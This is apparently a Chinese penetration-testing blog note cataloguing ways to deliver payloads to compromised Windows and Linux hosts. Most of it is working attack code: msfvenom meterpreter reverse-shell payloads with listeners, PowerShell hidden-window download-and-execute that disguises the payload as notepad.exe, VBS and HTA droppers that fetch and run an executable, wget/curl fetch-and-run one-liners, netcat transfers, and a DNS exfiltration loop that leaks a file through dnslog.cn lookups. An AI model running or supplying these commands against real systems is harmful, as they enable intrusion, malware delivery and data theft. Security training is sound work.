本文最后更新于487 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
一、Windows下文件传输
1.Bitsadmin
BITSAdmin 是一个命令行工具,可以使用它创建下载或上传作业,并监视其进度。
1)msfvenom 生成 Payload
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.34.126.129 lport=6666 -f hta-psh > 6666.hta
2)启动 Apache2 服务,托管 Payload
# 启动apache2服务
service apache2 start
# 复制payload到web根目录
cp 6666.hta /var/www/html/

3)bitsadmin 下载 Payload
bitsadmin /transfer shell http://10.34.126.129/6666.hta C:\windows\temp\6666.hta

- /transfer:用于创建一个新的传输作业
- shell:传输作业名称
http://10.34.126.129/6666.hta:要下载的文件的 URL 地址- C:\windows\temp\6666.hta:文件下载后存储的本地路径和文件名。文件将保存在 Windows 系 统的临时文件夹中。
4)启动 metasploit 监听器
handler -p windows/x64/meterpreter/reverse_tcp -H 10.34.126.129 -P 6666

5)执行 Payload
rundll32.exe url.dll,OpenURL C:\windows\temp\6666.hta

rundll32.exe:Windows 中的一个工具,用于执行 DLL(动态链接库)中导出的函数。url.dll,OpenURL:这是调用url.dll中的OpenURL函数,用于打开指定的文件或 URL。C:\windows\temp\6666.hta:这是你要执行的 HTA 文件的路径。
2.Certutil
过程可参考以下的文章
[[06.Windows 反弹 shell 方法#七、Certutil]]
3.Powershell
1)DownloadFile
# 创建一个 System.Net.WebClient 对象,并将其存储在变量 $d 中
$d = New-Object System.Net.WebClient
# 调用对象的DownloadFile方法下载文件
$d.DownloadFile("https://pastebin.com/raw/M676F14U","s.txt")
# 使用 powershell -c 来执行一个字符串形式的命令
powershell -c "$p=new-object system.net.webclient;$p.DownloadFile('https://pastebin.com/raw/M676F14U','s.txt')"
powershell -command "(new-object system.net.webclient).downloadfile('https://pastebin.com/raw/M676F14U','s.txt')"
# 使用 powershell 命令直接执行
powershell (new-object system.net.webclient).downloadfile('https://pastebin.com/raw/M676F14U','s.txt')
- 远程下载文件到本地并执行
cmd /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://10.34.126.129/6666.exe','notepad.exe');start-process .\notepad.exe
2.Invoke-WebRequest
Invoke-WebRequest:是 PowerShell 的一个 cmdlet,用于发送 HTTP 或 HTTPS 请求到指定的 URI。
别名:iwr、wget、curl
powershell Invoke-WebRequest -uri "https://pastebin.com/raw/M676F14U" -OutFile "$env:temp\s.txt"
3.DownloadString
[[06.Windows 反弹 shell 方法#2.PowerShell 加载 Powercat]]
4.SCP
SCP在windows系统下可进行本地与远程主机、不同远程主机间的文件复制,还支持整个目录结构的递归传输。
windows10及以上系统自带。
- SCP 下载文件
# 下载单个文件
scp root@192.168.81.229:/root/6666.hta 6666.hta
# 下载文件夹下所有文件
scp -r root@192.168.81.229:/var/www/html html/
- SCP 上传文件
上传单个文件
scp test.txt root@192.168.81.229:/tmp/test.txt
上传文件夹
scp -r password/ root@192.168.81.229:/tmp/pass/
5.net use
net use 命令是 Windows 操作系统中的一个命令,用于将共享资源映射到本地计算机上。
- 显示建立的网络共享连接
net use
- 与远程主机192.168.81.227的C盘建立网络共享连接,并映射远程主机C盘,到本地K盘
net use k: \\192.168.81.227\c$ /user:用户名 "密码"
密码的引号可以不用
- 列出本地K盘目录,也就是显示的远程主机192.168.81.227的C盘
dir K:
- 显示远程主机192.168.81.227的C盘目录文件
dir \\192.168.81.227\c$
- 复制远程主机192.168.81.227的C盘目录下的6666.hta文件到本地
copy \\192.168.81.227\c$\6666.hta c:\6666.hta
- 上传本地文件到远程主机
copy a.txt \\192.168.81.227\c$
- 查看文件内容
type \\192.168.81.227\c$\a.txt
- 断开网络连接
net use \\192.168.81.227\c$ /del
net use K: /del
6.VBS
保存为 .vbs 文件后运行
1)下载
download.vbs
' 使用CreateObject()方法创建一个名为xPost的XMLHttpRequest对象,用于向远程服务器发送HTTP请求
Set xPost=createObject("Microsoft.XMLHTTP")
' 调用Open()方法打开一个GET请求,指定要下载的文件的URL地址
' 最后一个参数为0表示异步请求,即不等待服务器响应直接执行下一条语句
xPost.Open "GET","http://192.168.81.229/6666.exe",0
' 调用Send()方法发送请求并获取响应内容。
xPost.Send()
' 使用CreateObject()创建一个名为sGet的ADODB.Stream对象,用于将响应内容保存到本地文件
' 设置sGet的Mode为3(adModeReadWrite),Type为1(adTypeBinary),表示以二进制方式读写流数据
' 然后调用Open()方法打开流,调用Write()方法写入响应内容,最后调用SaveToFile()方法将流数据保存到本地文件中
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile "c:\6666.exe",2
cscript download.vbs
2)下载并执行
download_run.vbs
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.81.229/6666.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\6666.exe",2
wscript.sleep 1000
Shell.Run ("c:\6666.exe") '延迟过后执行下载文件
3)cmd 命令写入脚本并执行
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs
echo Post.Open "GET","http://192.168.81.229/6666.exe",0 >>zl.vbs
echo Post.Send() >>zl.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs
echo aGet.Mode = 3 >>zl.vbs
echo aGet.Type = 1 >>zl.vbs
echo aGet.Open() >>zl.vbs
echo aGet.Write(Post.responseBody) >>zl.vbs
echo aGet.SaveToFile "c:\6666.exe",2 >>zl.vbs
echo wscript.sleep 1000 >>zl.vbs
echo Shell.Run ("c:\6666.exe") >>zl.vbs
cscript zl.vbs
4)wget.vbs
' 开启错误处理,当发生错误时跳过并继续执行下一条语句
on error resume next
' 使用"Wscript.Arguments()"获取命令行参数,分别赋值给iLocal、iRemote、iUser和iPass变量。
' iLocal表示本地保存文件的路径,
' iRemote表示远程文件的URL地址,
' iUser和iPass表示访问远程服务器需要的用户名和密码(如果不需要认证,则为空字符串)
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
iUser=LCase(Wscript.Arguments(2))
iPass=LCase(Wscript.Arguments(3))
' 使用CreateObject()创建一个名为xPost的XMLHttpRequest对象,用于向远程服务器发送HTTP请求
set xPost=CreateObject("Microsoft.XMLHTTP")
' 判断是否需要认证,调用Open()方法打开一个GET请求,最后调用Send()方法发送请求并获取响应内容
if iUser="" and iPass="" then
xPost.Open "GET",iRemote,0
else
xPost.Open "GET",iRemote,0,iUser,iPass
end if
xPost.Send()
' 使用CreateObject()创建一个名为sGet的ADODB.Stream对象,用于将响应内容保存到本地文件
' 设置sGet的Mode为3(adModeReadWrite),Type为1(adTypeBinary),表示以二进制方式读写流数据
' 然后调用Open()方法打开流,调用Write()方法写入响应内容,最后调用SaveToFile()方法将流数据保存到本地文件iLocal中
set sGet=CreateObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2
使用方法
cscript wget.vbs http://192.168.81.229/6666.exe c:\6666.exe
功能类似于wget
7.HTA
保存为 .hta 文件后运行
<html>
<head>
<script>
// 使用new ActiveXObject()方法创建一个名为Object的MSXML2.XMLHTTP对象,用于向远程服务器发送HTTP请求
// 然后调用Object.open()方法打开一个GET请求,指定要下载的文件的URL地址
// 最后一个参数为false表示同步请求,即等待服务器响应后再执行下一条语句
// 使用Object.send()方法发送请求并获取响应内容
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.81.229/6666.exe",false);
Object.send();
// 检查Object.Status的值是否等于200,表示HTTP响应的状态码是否为成功。
// 响应成功,就使用new ActiveXObject()方法创建一个名为Stream的ADODB.Stream对象,用于将响应内容保存到本地文件
// 然后调用Stream.Open()方法打开流,调用Stream.Type = 1方法设置流数据类型为二进制
// 调用Stream.Write()方法写入响应内容,最后调用Stream.SaveToFile()方法将流数据保存到本地文件"C:\6666.exe"中
// 使用new ActiveXObject()方法创建一个名为Shell的Wscript.Shell对象,用于运行本地可执行文件
// 调用Shell.Run()方法运行C:\6666.exe文件
// 调用Stream.Close()方法关闭流,调用window.close()方法关闭窗口
if (Object.Status == 200)
{
var Stream = new ActiveXObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\6666.exe", 2);
Stream.Close();
var Shell = new ActiveXObject("Wscript.Shell");
Shell.Run("C:\\6666.exe");
}
window.close();
</script>
<HTA:APPLICATION ID="test" WINDOWSTATE = "minimize">
</head>
<body>
</body>
</html>
二、Linux下文件传输
Msfvenom 生成 Linux 执行的 payload
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=120.79.150.243 lport=6677 -f elf -o 6677.elf
创建 handler 监听器
handler -p linux/x64/meterpreter/reverse_tcp -H 120.79.150.243 -P 6677
1.wget
wget http://120.79.150.243:8000/6677.elf -P /tmp/ && chmod +x /tmp/6677.elf && /tmp/6677.elf &
- -P: 指定下载文件的存储路径
- &:表示在后台运行

wget -O 5555.elf http://192.168.81.229/5555.elf && chmod +x 5555.elf && ./5555.elf &
-O:指定下载文件的输出文件名
2.curl
curl -o 5555.elf http://192.168.81.229/5555.elf && chmod +x 5555.elf && ./5555.elf &
curl -O http://192.168.81.229/5555.elf && chmod +x 5555.elf && ./5555.elf &
- -o:将下载的文件保存为指定的文件名
- -O:使用远程文件的原始文件名保存下载的文件
3.Netcat
- 靶机主动连接攻击机
# kali
cat file | nc -lvvp 1234
# linux
nc 192.168.81.229 1234 > 5555.elf



- 攻击机主动连接靶机
# kali
nc 192.168.81.221 1234 < 5555.elf
# linux
nc -lvvp 1234 > 5555.elf
4.SFTP
sftp root@10.34.126.129:/var/www/html/

sftp -P 22 root@192.168.81.229
sftp -P 22 -i ~/.ssh/id_rsa root@192.168.81.229
- -P:指定 ssh 端口
- -i:指定私钥
5.DNS
利用 dns 传输数据
cat test | xxd -p -c 16 | while read line; do host $line.sau547.dnslog.cn; done
cat test:
读取文件test的内容并输出到标准输出。xxd -p -c 16:
xxd是一个将文件内容转换为十六进制表示的工具。-p选项表示以纯十六进制格式输出(不带地址和文本部分)。-c 16表示每行输出 16 个字节的十六进制数据。
while read line; do host $line.sau547.dnslog.cn; done:
- 逐行读取
xxd输出的十六进制数据。 - 对每一行数据,执行
host命令,将十六进制数据作为子域名的一部分,查询 DNS 记录。 - 例如,如果某行数据是
616263,则会查询616263.sau547.dnslog.cn的 DNS 记录。



三、脚本语言下文件传输
1.PHP
php -r 'file_put_contents("5555.elf",file_get_contents("http://192.168.81.229/6677.elf"));'
- file_put_contents: 将一个字符串写入文件
- file_get_contents: 将整个文件读入一个字符串
php -r:
使用 PHP 执行后面引号中的单行代码。file_get_contents("http://192.168.81.229/6677.elf"):
- 从指定的 URL(
http://192.168.81.229/6677.elf)获取文件内容。 - 返回文件内容的字符串(如果是二进制文件,则返回二进制数据)。
file_put_contents("6677.elf", ...):
- 将获取到的文件内容写入本地文件 6677.elf`。
- 如果文件不存在,则会创建;如果文件已存在,则会覆盖。
2.Python
python3 -c "import urllib.request;u=urllib.request.urlopen('http://192.168.81.229/6677.elf');f=open('c:\\temp\\win.hta','w');f.write(u.read().decode('utf-8'))"
python3 -c:
使用 Python 3 执行后面引号中的单行代码。import urllib.request:
导入 Python 标准库中的urllib.request模块,用于处理 HTTP 请求。urllib.request.urlopen('http://192.168.81.229/6677.elf'):
打开指定的 URL(http://192.168.81.229/6677.elf)并返回一个文件对象u,用于取远程文件内容。open('c:\\temp\\win.hta', 'w'):
在本地打开文件c:\temp\win.hta,模式为写入('w')。如果文件不存在,则会创建如果文件已存在,则会覆盖。f.write(u.read().decode('utf-8')):
u.read()读取远程文件的内容(二进制数据)。.decode('utf-8')将二进制数据解码为 UTF-8 字符串。f.write()将解码后的内容写入本地文件。
python2 -c "import urllib2;u=urllib2.urlopen('http://192.168.81.229/6677.elf');f=open('c:\\temp\\win.hta','w');f.write(u.read());f.close()"
3.Ruby
#!ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("192.168.81.229") { |http| r = http.get("/6677.elf")
open("/tmp/5555.elf", "wb") { |file| file.write(r.body)
}
}
#!/usr/bin/ruby:
指定脚本使用 Ruby 解释器执行。require 'net/http':
导入 Ruby 标准库中的net/http模块,用于处理 HTTP 请求。Net::HTTP.start("192.168.81.229"):
启动一个 HTTP 会话,连接到指定的主机(192.168.81.229)。http.get("/6677.elf"):
发送 HTTP GET 请求,获取路径为/6677.elf的文件内容,并将响应存储在变量r中。open("/tmp/5555.elf", "wb"):
- 打开本地文件
/tmp/5555.elf,模式为二进制写入("wb")。 - 如果文件不存在,则会创建;如果文件已存在,则会覆盖。
file.write(r.body):
将 HTTP 响应的内容(r.body)写入本地文件。
ruby -e "require 'net/http';Net::HTTP.start('192.168.81.229') { |http|r = http.get('/6677.elf');open('/tmp/6677.elf', 'wb') { |file| file.write(r.body)}}"